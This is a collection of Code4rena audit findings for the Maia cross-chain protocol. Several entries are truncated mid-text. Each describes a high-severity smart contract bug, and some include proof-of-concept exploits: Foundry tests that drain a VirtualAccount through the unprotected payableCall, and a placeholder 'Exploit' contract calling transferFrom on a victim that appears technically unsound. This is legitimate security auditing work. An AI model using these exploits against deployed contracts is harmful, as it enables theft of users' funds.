xanoutas/solidity-security-findings huggingface dataset:
MulticallRootRouter should change withdraw/approve amount to outputParams.amountOut-outputParams.depositOut
Audit: 2023-09-maia-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-09-maia/blob/main/src/MulticallRootRouter.sol#L251
https://github.com/code-423n4/2023-09-maia/blob/main/src/MulticallRootRouter.sol#L279
https://github.com/code-423n4/2023-09-maia/blob/main/src/MulticallRootRouter.sol#L340
https://github.com/code-423n4/2023-09-maia/blob/main/src/MulticallRootRouter.sol#L368
https://github.com/code-423n4/2023-09-maia/blob/main/src/MulticallRootRouter.sol#L428
https://github.com/code-423n4/2023-09-maia/blob/main/src/MulticallRootRouter.sol#L456
https://github.com/code-423n4/2023-09-maia/blob/main/src/MulticallRootRouter.sol#L521
https://github.com/code-423n4/2023-09-maia/blob/main/src/MulticallRootRouter.sol#L559


# Vulnerability details

## Impact
MulticallRootRouter withdraws/require output hToken more than needed in execute()/executeSigned* multicallSingleOutput and multicallMultipleOutput handlers (0x02/0x03). And the excess tokens can be locked in the contract and lost later.

## Proof of Concept
In executeSigned* MulticallRootRouter multicallSingleOutput and multicallMultipleOutput handlers (0x02/0x03), we withdraw the output htokens from users' virtual accounts:

```solidity
            IVirtualAccount(userAccount).withdrawERC20(outputParams.outputToken, outputParams.amountOut);

            // Bridge Out assets
            _approveAndCallOut(
                IVirtualAccount(userAccount).userAddress(),
                outputParams.recipient,
                outputParams.outputToken,
                outputParams.amountOut,
                outputParams.depositOut,
                dstChainId,
                gasParams
            );

// similar for multicallMultipleOutput
```

As we can see, we withdrew outputParams.amountOut htokens, didn't account for the outputParams.depositOut. However, in _approveAndCallOut --> IBridgeAgent(_bridgeAgentAddress).callOutAndBridge --> _updateStateOnBridgeOut, we only transfer ( _amount - _deposit) htokens from the router:

```solidity
        // Move output hTokens from Root to Branch
        if (_amount - _deposit > 0) {
            unchecked {
                _globalAddress.safeTransferFrom(_depositor, localPortAddress, _amount - _deposit);
            }
        }

        // Clear Underlying Tokens from the destination Branch
        if (_deposit > 0) {
            // Verify there is enough balance to clear native tokens if needed
            if (IERC20hTokenRoot(_globalAddress).getTokenBalance(_dstChainId) < _deposit) {
                revert InsufficientBalanceForSettlement();
            }
            IPort(localPortAddress).burn(_depositor, _globalAddress, _deposit, _dstChainId);
        }
```

The issue is similar for execute() 0x02/0x03 handlers, except it requires the tokens are transferred in `_multicall(callData)`.

So after the _approveAndCallOut/_approveMultipleAndCallOut call, there will be htokens left in the contract. The left tokens can be left forever or be used by execute() multicallSingleOutput/_approve
Settlements cannot be created when using CoreRootRouter
Audit: 2023-09-maia-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/CoreRootRouter.sol#L297-L392


# Vulnerability details

## Impact
A settlement is created when a user want to bridge assets from root to bridge. However, in the whole [CoreRootRouter.sol](https://github.com/code-423n4/2023-09-maia/blob/main/src/CoreRootRouter.sol) file, there is not a single entry point for creating a settlement. All other execute features expect registering of new token revert.

## Proof of Concept
All execute functions of the CoreRootRouter revert even though they are responsible for creating a settlement.

## Tools Used
Manual Review

## Recommended Mitigation Steps
Add a functionality enabling the creation of settlements, just like in MulticallRootRouter


## Assessed type

DoS
Token registration does not work for MulticallRouter
Audit: 2023-09-maia-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-09-maia/blob/main/src/MulticallRootRouter.sol#L123-L125


# Vulnerability details

## Impact
In order for tokens to be used, they have to be registered in the system. The registration happens when a user calls [addLocalToken](https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/CoreBranchRouter.sol#L62-L79) on the **CoreBranchRouter**. This will make a call to the RootBridgeAgentExecutor and run [executeSystemRequest](https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgentExecutor.sol#L50-L57). Then, [executeResponse](https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/MulticallRootRouter.sol#L123-L125) will be called on the MulticallRootRouter. As we can see, this function reverts, which makes adding tokens to the system impossible.

## Proof of Concept
https://gist.github.com/ZdravkoHr/4cc2cce11e15db01e1e9393153f085bc

The PoC uses a LayerZero mock endpoint

```jsx
forge install LayerZero-Labs/solidity-examples
```

## Tools Used
Foundry

## Recommended Mitigation Steps
Instead of reverting, let the function add local token, just like in the core router.


## Assessed type

DoS
Incorrect logic for determining dailyLimit in BranchPort.manage()
Audit: 2023-09-maia-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-09-maia/blob/main/src/BranchPort.sol#L485-L494
https://github.com/code-423n4/2023-09-maia/blob/main/src/BranchPort.sol#L144-L164


# Vulnerability details

## Impact
BranchPort.manage() (https://github.com/code-423n4/2023-09-maia/blob/main/src/BranchPort.sol#L144-L164) - allows active Port Strategy addresses to withdraw assets. The function includes checking the daily limit of the port strategy. However, the check is implemented incorrectly.

## Proof of Concept
Checking your daily limit:
https://github.com/code-423n4/2023-09-maia/blob/main/src/BranchPort.sol#L485-L494
function _checkTimeLimit(address _token, uint256 _amount) internal {
     uint256 dailyLimit = strategyDailyLimitRemaining[msg.sender][_token];
     if (block.timestamp - lastManaged[msg.sender][_token] >= 1 days) {
         dailyLimit = strategyDailyLimitAmount[msg.sender][_token];
         unchecked {
             lastManaged[msg.sender][_token] = (block.timestamp / 1 days) * 1 days;
         }
     }
     strategyDailyLimitRemaining[msg.sender][_token] = dailyLimit - _amount;
}

As we see in the line
strategyDailyLimitRemaining[msg.sender][_token] = dailyLimit - _amount;
the amount is deducted from the daily limit.
But this does not take into account that the daily limit is updated every day. Only one amount per day is taken into account.

This will cause the BranchPort.manage() function to not function correctly.

## Tools Used
Manual review

## Recommended Mitigation Steps
Add an additional level to the strategy Daily Limit Remaining array with the day number.


## Assessed type

Context
protocol might not work for functions require multiple cross-chain messages
Audit: 2023-09-maia-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchBridgeAgent.sol#L276-L303
https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L577-L617


# Vulnerability details

## Impact
There are some functions require multiple cross-chain messages between Branch chain and Root chain, but while transfer ETH to LayerZero for sending messages cross-chain, LayerZero requires each messages should contains fees, otherwise, the call will revert with [LayerZero: not enough native for fees](https://layerzero.gitbook.io/docs/evm-guides/error-messages/failure-revert-messages#layerzero-not-enough-native-for-fees), but when handling multiple cross-chain messages, the system has some issues, which might cause:
1. If the protocol have ETH within the pool, then user's tx will steal all the ETH
1. If the protocol doesn't have any ETH, then user's tx will revert


## Proof of Concept
Take [BranchBridgeAgent.callOutSignedAndBridge](https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchBridgeAgent.sol#L276-L303) as an example, while a user Alice calls the function with properly parameters on Branch chain, and she sends enough gas for `BranchBridgeAgent.callOutSignedAndBridge`, the tx is executed successfully, and the messages will cross chain to Root branch.
In Root chain, [RootBridgeAgent.sol#L577-L617](https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L577-L617) will handle Alice's message,
```solidity
 577         } else if (_payload[0] & 0x7F == 0x05) {
 578             // Parse deposit nonce
 579             nonce = uint32(bytes4(_payload[PARAMS_START_SIGNED:PARAMS_TKN_START_SIGNED]));
 580 
 581             //Check if tx has already been executed
 582             if (executionState[_srcChainId][nonce] != STATUS_READY) {
 583                 revert AlreadyExecutedTransaction();
 584             }
 585 
 586             // Get User Virtual Account
 587             VirtualAccount userAccount = IPort(localPortAddress).fetchVirtualAccount(
 588                 address(uint160(bytes20(_payload[PARAMS_START:PARAMS_START_SIGNED])))
 589             );
 590 
 591             // Toggle Router Virtual Account use for tx execution
 592             IPort(localPortAddress).toggleVirtualAccountApproved(userAccount, localRouterAddress);
 593 
 594             // Avoid stack too deep
 595             uint16 srcChainId = _srcChainId;
 596 
 597             // Try to execute remote request
 598             // Flag 5 - RootBridgeAgentExecutor(bridgeAgentExecutorAddress).executeSignedWithDeposit(address(userAccount), localRouterAddress, data, _srcChainId)
 599             _execute(
 600                 _payload[0] == 0x85,
 601                 nonce,
 602                 address(uint160(bytes20(_payload[PARAMS_START:PARAMS_START_SIGNED]))),
 603
Arbitrary-send-erc20
Audit: 2023-09-maia-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootPort.sol#L294-L392


# Vulnerability details

## Impact

Loss Of Assets.

An attacker can use the PoC Exploit provided below to send erc20 tokens to a wallet address or smart contract of his choosing because even though there are modifiers present to protect against this attack they are only a partial countermeasure as more access controls can be implemented to protect the vulnerable function.

## Proof of Concept

This is the vulnerable code from the code base.

function bridgeToRootFromLocalBranch(address _from, address _hToken, uint256 _amount)
        external
        override
        requiresLocalBranchPort
    {
        if (!isGlobalAddress[_hToken]) revert UnrecognizedToken();

        _hToken.safeTransferFrom(_from, address(this), _amount);
    }


##PoC Exploit

This code will attempt to exploit the vulnerability.

pragma solidity ^0.8.0;

contract Exploit {
    address public vulnerableContractAddress = YOUR_VULNERABLE_CONTRACT_ADDRESS;
    address public targetToken = TARGET_TOKEN_ADDRESS;
    address public victimAddress = VICTIM_ADDRESS;

    function attack() public {
        // Assuming you have the necessary tokens to perform the attack
        // Transfer tokens from the victim to the vulnerable contract
        IERC20(targetToken).transferFrom(victimAddress, vulnerableContractAddress, AMOUNT_TO_STEAL);
    }
}


## Tools Used

Manual Review
VS Code
Slither
Remix IDE
Foundry


## Recommended Mitigation Steps

Mitigating the 'arbitrary-send-erc20' vulnerability in the provided code snippet involves implementing proper access control and verifying that the msg.sender is the same as _from before allowing the token transfer. 

Here's the Solidity logic for fixing this issue:

pragma solidity ^0.8.0;

contract RootPort {
    // Other contract variables and constructor

    modifier onlyValidSender(address _from) {
        require(msg.sender == _from, "Sender must be the same as _from");
        _;
    }

    function bridgeToRootFromLocalBranch(address _from, address _hToken, uint256 _amount)
        external
        override
        requiresLocalBranchPort
        onlyValidSender(_from) // Add this modifier to enforce sender validation
    {
        if (!isGlobalAddress[_hToken]) revert UnrecognizedToken();

        _hToken.safeTransferFrom(_from, address(this), _amount);
    }

    // Rest of the contract
}


In this fix:

We introduce a new modifier onlyValidSender which checks that msg.sender matches the _from address provided as a parameter.

The onlyValidSender modifier is applied to the bridgeToRootFromLocalBranch function, ensuring that the sender is the same as _from before allowing the token transfer.

By implementing this fix, you ensure that only the rightful owner (the _from address) can initiate the token transfer, preventing unauthorized exploitation of the vulnerability.



## Assessed type

Access Control
_performFallbackCall can revert sliently when there is insufficient ETH remaining to pay for the Layerzero fee
Audit: 2023-09-maia-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L788
https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L788
https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L938
https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L424


# Vulnerability details

## Impact

_performFallbackCall can revert sliently when there is insufficient ETH remaining to pay for the Layerzero fee

## Proof of Concept

In RootBridgeAgent.sol when the has fall back toggle flag is on, the smart contract aim to perform a fallback call to notify the dest chain the failure to deliver the message

for example, the relevent code is [here](https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L788)

```solidity
//Update tx state if execution failed
if (!success) {
	//Read the fallback flag.
	if (_hasFallbackToggled) {
		// Update tx state as retrieve only
		executionState[_srcChainId][_depositNonce] = STATUS_RETRIEVE;
		// Perform the fallback call
		_performFallbackCall(payable(_refundee), _depositNonce, _srcChainId);
	} else {
		// No fallback is requested revert allowing for retry.
		revert ExecutionFailure();
	}
}
```

and [here](https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L712) when retrieve the deposit 

```solidity
	//Check if deposit is in retrieve mode
	if (executionState[_srcChainId][nonce] == STATUS_DONE) {
		revert AlreadyExecutedTransaction();
	} else {
		//Set settlement to retrieve mode, if not already set.
		if (executionState[_srcChainId][nonce] == STATUS_READY) {
			executionState[_srcChainId][nonce] = STATUS_RETRIEVE;
		}
		//Trigger fallback/Retry failed fallback
		_performFallbackCall(
			payable(address(uint160(bytes20(_payload[PARAMS_START:PARAMS_START_SIGNED])))), nonce, _srcChainId
		);
	}
```

the logicof the [_performFallbackCall](https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L938) is here

```solidity
function _performFallbackCall(address payable _refundee, uint32 _depositNonce, uint16 _dstChainId) internal {
	//Sends message to LayerZero messaging layer
	ILayerZeroEndpoint(lzEndpointAddress).send{value: address(this).balance}(
		_dstChainId,
		getBranchBridgeAgentPath[_dstChainId],
		abi.encodePacked(bytes1(0x04), _depositNonce),
		payable(_refundee),
		address(0),
		""
	);
}
```

the code forward all ETH (address(this).balance) and aim to use the ETH to pay for the layerzero fee

However, in the case when there is insufficient ETH left to pay for the execution fee, the transaction send revert

but the problem is that such fallback is wrapped by the [excessivelySafeCall](https://github.com/code-423n4/2
VirtualAccount#payableCall can be called by any EOA to steal virtual account funds and more
Audit: 2023-09-maia-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/VirtualAccount.sol#L85


# Vulnerability details

## Impact

Lack of requiresApprovedCaller modifier in VirtualAccount#payableCall enables anyone to take over a virtual account and steal funds or carry out any other malicious actions. 

## Proof of Concept 

Virtual Accounts in Maia are available so that users can use Arbitrum dApps from any other branch chain. The EOAs which own the virtual accounts can either perform calls from the virtual account from other branches using Ulysses contracts or they can directly call VirtualAccount#call or VirtualAccount#payableCall functions on Arbitrum. 

There is a requiresApprovedCaller modifier on VirtualAccount which prevents any caller other than the owner or router approved from calling a function. This modifier is present on VirtualAccount#call but not on VirtualAccount#payableCall. This enforces anyone to use payableCall() and drain funds or do any other action from the virtual account. 

This function can be added to ArbitrumBranchTest.t.sol and run using `forge test` to demonstrate this vulnerability: 


```solidity

   function testExploitPayableVirtual(address _victim, address _attacker) public {
        _victim = address(11);
        _attacker = address(12);
        testAddLocalTokenArbitrum();
        address newVirtualAccount = address(rootPort.fetchVirtualAccount(_victim));
        VirtualAccount victimAccount = VirtualAccount(payable(newVirtualAccount));
        hevm.deal(_victim, 100 ether);

        hevm.prank(_victim);
        arbitrumNativeToken.mint(_victim, 100 ether );
        hevm.prank(_victim);
        arbitrumNativeToken.transfer(newVirtualAccount, 100 ether);
        Call[] memory callPrev = new Call[](1);
        //Approves tokens to the port
        callPrev[0] = Call({target: address(arbitrumNativeToken), callData: abi.encodeWithSelector(arbitrumNativeToken.approve.selector,address(localPortAddress), 100 ether)});
        hevm.prank(_victim);
        victimAccount.call(callPrev);

        Call[] memory calls = new Call[](1); 
        //Depositing to port from virtual account, as account owner (victim) using depositToPort() function
        calls[0] = Call({target: address(arbitrumCoreBridgeAgent), callData: abi.encodeWithSelector(bytes4(0xd717b087),address(arbitrumNativeToken),1 ether)  });
        hevm.prank(_victim);
        victimAccount.call(calls);
        MockERC20 arbitrumAssetGlobal = MockERC20(newArbitrumAssetGlobalAddress);
        //balance of attacker must be equal to 0
        uint256 balanceBefore = arbitrumNativeToken.balanceOf(_attacker);
        //Balance must be 0 before the fund drain
        assert(balanceBefore == 0);

        //Pranking as attacker address
        hevm.prank(_attacker);
        PayableCall[] memory callsX = new PayableCall[](2);
        callsX[0] = PayableCall({target: address(arbitrumCoreBridgeAgent), callData: abi.encodeWithSelect
There is no check that the settlement is actually in a "failed" state before retrying in the retrySettlement function. This could allow an attacker to cause it to fallback multiple times when it should only fallback once.
Audit: 2023-09-maia-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L423-L431


# Vulnerability details

## Impact
Attacker can extract more tokens/funds than intended each time the settlement actions are rerun

## Proof of Concept
**There is no check that the settlement is actually in a "failed" state before retrying in the retrySettlement function. This could allow an attacker to cause it to fallback multiple times when it should only fallback once.**
**The affected code is in the lzReceive function:**


    function lzReceive(uint16 _srcChainId, bytes calldata _srcAddress, uint64, bytes calldata _payload) public {
    // ...

    } else if (_payload[0] == 0x09) {

    // Parse nonce
    nonce = uint32(bytes4(_payload[PARAMS_START:PARAMS_TKN_START]));

    // Reopen Settlement for redemption
    getSettlement[nonce].status = STATUS_FAILED;

    // Emit LogFallback
    emit LogFallback(nonce, _srcChainId);

    }

    // ...
    }


**When a payload with flag 0x09 is received, it simply sets the settlement status to STATUS_FAILED without checking if it was already in a failed state.**

**An attacker could exploit this by:**

**- Initiate a settlement**
**- Cause it to fail via revert/out-of-gas**
**- Keep sending payloads with 0x09 flag to trigger multiple fallback calls**

**This would cause the fallback function to be called multiple times for the same failed settlement, potentially draining funds.**
## Tools Used
Manual
## Recommended Mitigation Steps

**The contract should check the current settlement status before setting to failed:**


    if (getSettlement[nonce].status != STATUS_FAILED) {
    getSettlement[nonce].status = STATUS_FAILED;

    // Emit LogFallback
    emit LogFallback(nonce, _srcChainId); 
    }
**This ensures the fallback is only triggered once per failed settlement.**


## Assessed type

Other
Missing modifier allows anyone to drain virtual account
Audit: 2023-09-maia-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-09-maia/blob/main/src/VirtualAccount.sol#L85


# Vulnerability details

## Impact
Virtual Account is used to store assets on the user's behalf. Since `payableCall` function allows arbitrary function execution and the `requiresApprovedCaller` modifier was missed it's possible to steal all the tokens from the VirtualAccount.

## Proof of Concept

```solidity
    function testDrainVirtualAccount() public {
        VirtualAccount virtualAccount = new VirtualAccount(msg.sender, address(rootPort));

        avaxMockAssetToken.mint(address(virtualAccount), 1 ether);

        address attacker = address(0x123);
    
        hevm.startPrank(attacker);
    
        assertEq(avaxMockAssetToken.balanceOf(attacker), 0);
    
        PayableCall[] memory payableCalls = new PayableCall[](1);
        payableCalls[0] = PayableCall(
            address(avaxMockAssetToken), abi.encodeWithSignature("transfer(address,uint256)", attacker, 1 ether), 0
        );

        virtualAccount.payableCall(payableCalls);
    
        assertEq(avaxMockAssetToken.balanceOf(attacker), 1 ether);
    }
```

## Tools Used
- Manual review
- Foundry

## Recommended Mitigation Steps
Add `requiresApprovedCaller` modifier to the `payableCall` function.

```solidity
function payableCall(PayableCall[] calldata calls) public payable requiresApprovedCaller returns (bytes[] memory returnData) {
    uint256 valAccumulator;
    uint256 length = calls.length;
    returnData = new bytes[](length);
    PayableCall calldata _call;
    for (uint256 i = 0; i < length;) {
        _call = calls[i];
        uint256 val = _call.value;
        // Humanity will be a Type V Kardashev Civilization before this overflows - andreas
        // ~ 10^25 Wei in existence << ~ 10^76 size uint fits in a uint256
        unchecked {
            valAccumulator += val;
        }

        bool success;

        if (isContract(_call.target)) (success, returnData[i]) = _call.target.call{value: val}(_call.callData);

        if (!success) revert CallFailed();

        unchecked {
            ++i;
        }
    }

    // Finally, make sure the msg.value = SUM(call[0...i].value)
    if (msg.value != valAccumulator) revert CallFailed();
}
```


## Assessed type

Token-Transfer